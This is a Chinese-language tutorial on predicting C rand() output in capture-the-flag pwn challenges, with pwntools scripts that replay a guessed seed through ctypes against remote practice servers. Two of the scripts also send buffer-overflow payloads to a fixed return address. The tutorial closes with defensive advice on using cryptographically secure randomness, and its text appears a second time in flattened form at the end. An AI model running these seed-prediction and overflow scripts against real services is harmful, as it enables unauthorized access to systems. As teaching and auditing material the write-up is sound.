关于伪随机数学习分享
字数 1260 2025-08-22 12:23:00

伪随机数生成与绕过技术详解

1. C语言中的伪随机数生成函数

1.1 基本函数介绍

在C语言中,rand()srand()函数用于生成伪随机数,定义在<stdlib.h>头文件中:

  • srand():初始化随机数生成器的种子

    • 接受一个unsigned int类型参数作为种子
    • 相同的种子会导致rand()生成相同的随机数序列
    • 常用当前时间作为种子:srand((unsigned int)time(NULL))
  • rand():生成伪随机数

    • 返回0到RAND_MAX之间的非负整数
    • RAND_MAX是一个宏定义,表示能生成的最大随机数

1.2 基本用法示例

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    // 初始化随机数生成器
    srand((unsigned int)time(NULL));
    
    // 生成随机数
    int random_number = rand();
    printf("随机数: %d\n", random_number);
    
    return 0;
}

1.3 生成指定范围的随机数

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    srand((unsigned int)time(NULL));
    
    // 生成1到10之间的随机数
    int random_number = rand() % 10 + 1;
    printf("1到10之间的随机数: %d\n", random_number);
    
    return 0;
}

2. 伪随机数的可预测性

伪随机数实际上是确定性算法生成的,只要知道种子,就能预测整个序列:

#include <stdio.h>
#include <stdlib.h>

int main() {
    int v1;
    srand(1);  // 固定种子
    
    for(int i=0; i<=98; i++) {
        v1 = (rand() % 100 + 1);
        printf("%d ", v1);
    }
    
    return 0;
}

每次运行这段代码,输出的随机数序列都是相同的。

3. 绕过伪随机数验证的技术

3.1 使用Python的ctypes库

ctypes库可以加载动态链接库,调用其中的函数来生成相同的随机数序列:

from pwn import *
from ctypes import *

p = remote("node5.anna.nssctf.cn", 29528)
my_libc = cdll.LoadLibrary("libc.so.6")
my_libc.srand(0x39)  # 设置相同的种子

# 生成与目标程序相同的随机数
payload1 = str(my_libc.rand()).encode("utf-8")
p.sendline(payload1)

# 后续攻击代码...

3.2 直接计算随机数

也可以直接用C语言计算随机数:

#include <stdio.h>
#include <stdlib.h>

int main() {
    srand(0x39);  // 设置相同的种子
    printf("%d", rand());  // 输出随机数
    return 0;
}

然后在Python脚本中使用这个值:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = remote('node5.anna.nssctf.cn', 29388)

payload = b'a'*72 + p64(0x4008B2)
p.sendlineafter(b'name', b'1956681178')  # 使用计算出的随机数
p.sendlineafter(b'next?', payload)
p.interactive()

4. 实际CTF例题分析

4.1 例题1:真男人下120层

程序逻辑分析

  1. 获取当前时间作为种子:srand(time(0))
  2. 生成随机数v4 = rand()
  3. v4 % 3 - 1522127470作为新种子
  4. 循环120次,每次需要猜对1-4的随机数

绕过代码

from pwn import *
from ctypes import *

p = remote('node4.anna.nssctf.cn', 28052)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

# 模拟目标程序的随机数生成过程
libc.srand(libc.time(0))
shu = libc.rand() % 3 - 1522127470
libc.srand(shu)

# 生成120个1-4的随机数
for i in range(120):
    t = libc.rand() % 4 + 1
    p.sendline(str(t).encode())

p.interactive()

4.2 例题2:dice_game

程序逻辑分析

  1. 获取当前时间作为种子
  2. 有缓冲区溢出漏洞
  3. 需要猜对50次1-6的随机数

绕过代码

from pwn import *
from ctypes import *

context.log_level = 'debug'
p = remote('61.147.171.105', 57855)
libc = cdll.LoadLibrary('./libc.so.6')

# 利用溢出漏洞
payload = b'a'*0x40 + p64(0)
p.sendlineafter('name', payload)

# 生成50个1-6的随机数
res = []
for i in range(50):
    res.append(libc.rand() % 6 + 1)

for point in res:
    p.sendlineafter('point(1~6):', str(point))

p.interactive()

4.3 例题3:ez_game

程序特点

  1. 需要猜对20000次1-7的随机数
  2. 有时间限制(14秒)
  3. 有后门函数

优化技巧

  • 预先计算所有随机数
  • 不等待回显以节省时间

优化后的代码

from pwn import *
from ctypes import *

context(os='linux', arch='amd64')
libc = cdll.LoadLibrary('./libc.so.6')

# 预先计算20001个随机数
libc.srand(1)
res = []
for i in range(20001):
    res.append(libc.rand() % 7 + 1)

# 连接并快速发送
p = remote('27.25.151.12', 33356)
p.sendlineafter('username:', b'a'*8)

for a in res:
    p.sendline(str(a))  # 不等待回显

p.interactive()

5. 总结与防御建议

5.1 攻击总结

  1. 种子可预测:如果使用时间等可预测值作为种子,攻击者可以重现随机数序列
  2. 种子固定:如果种子固定,随机数序列完全可预测
  3. 绕过技术
    • 使用相同的库和种子重现随机数序列
    • 对于时间种子,需要同步时间或爆破
    • 对于多层随机数生成,需要完整模拟整个生成过程

5.2 防御建议

  1. 使用加密安全的随机数生成器

    • Linux: /dev/random/dev/urandom
    • Windows: CryptGenRandom
    • OpenSSL: RAND_bytes
  2. 避免使用可预测的种子

    • 不要单独使用时间作为种子
    • 可以组合多种熵源(时间、PID、RDTSC等)
  3. 关键安全操作不要依赖伪随机数

    • 密码学操作应使用专门的加密库
    • 重要随机数应从安全源获取
  4. 代码审计时检查随机数使用

    • 检查是否使用了不安全的随机数生成方式
    • 检查种子是否可预测或固定

通过理解伪随机数的生成原理和绕过技术,安全人员可以更好地审计代码中的随机数使用,开发者也可以编写更安全的随机数生成代码。

伪随机数生成与绕过技术详解 1. C语言中的伪随机数生成函数 1.1 基本函数介绍 在C语言中, rand() 和 srand() 函数用于生成伪随机数,定义在 <stdlib.h> 头文件中: srand() :初始化随机数生成器的种子 接受一个 unsigned int 类型参数作为种子 相同的种子会导致 rand() 生成相同的随机数序列 常用当前时间作为种子: srand((unsigned int)time(NULL)) rand() :生成伪随机数 返回0到 RAND_MAX 之间的非负整数 RAND_MAX 是一个宏定义,表示能生成的最大随机数 1.2 基本用法示例 1.3 生成指定范围的随机数 2. 伪随机数的可预测性 伪随机数实际上是确定性算法生成的,只要知道种子,就能预测整个序列: 每次运行这段代码,输出的随机数序列都是相同的。 3. 绕过伪随机数验证的技术 3.1 使用Python的ctypes库 ctypes 库可以加载动态链接库,调用其中的函数来生成相同的随机数序列: 3.2 直接计算随机数 也可以直接用C语言计算随机数: 然后在Python脚本中使用这个值: 4. 实际CTF例题分析 4.1 例题1:真男人下120层 程序逻辑分析 : 获取当前时间作为种子: srand(time(0)) 生成随机数 v4 = rand() 用 v4 % 3 - 1522127470 作为新种子 循环120次,每次需要猜对1-4的随机数 绕过代码 : 4.2 例题2:dice_ game 程序逻辑分析 : 获取当前时间作为种子 有缓冲区溢出漏洞 需要猜对50次1-6的随机数 绕过代码 : 4.3 例题3:ez_ game 程序特点 : 需要猜对20000次1-7的随机数 有时间限制(14秒) 有后门函数 优化技巧 : 预先计算所有随机数 不等待回显以节省时间 优化后的代码 : 5. 总结与防御建议 5.1 攻击总结 种子可预测 :如果使用时间等可预测值作为种子,攻击者可以重现随机数序列 种子固定 :如果种子固定,随机数序列完全可预测 绕过技术 : 使用相同的库和种子重现随机数序列 对于时间种子,需要同步时间或爆破 对于多层随机数生成,需要完整模拟整个生成过程 5.2 防御建议 使用加密安全的随机数生成器 : Linux: /dev/random 或 /dev/urandom Windows: CryptGenRandom OpenSSL: RAND_bytes 避免使用可预测的种子 : 不要单独使用时间作为种子 可以组合多种熵源(时间、PID、RDTSC等) 关键安全操作不要依赖伪随机数 : 密码学操作应使用专门的加密库 重要随机数应从安全源获取 代码审计时检查随机数使用 : 检查是否使用了不安全的随机数生成方式 检查种子是否可预测或固定 通过理解伪随机数的生成原理和绕过技术,安全人员可以更好地审计代码中的随机数使用,开发者也可以编写更安全的随机数生成代码。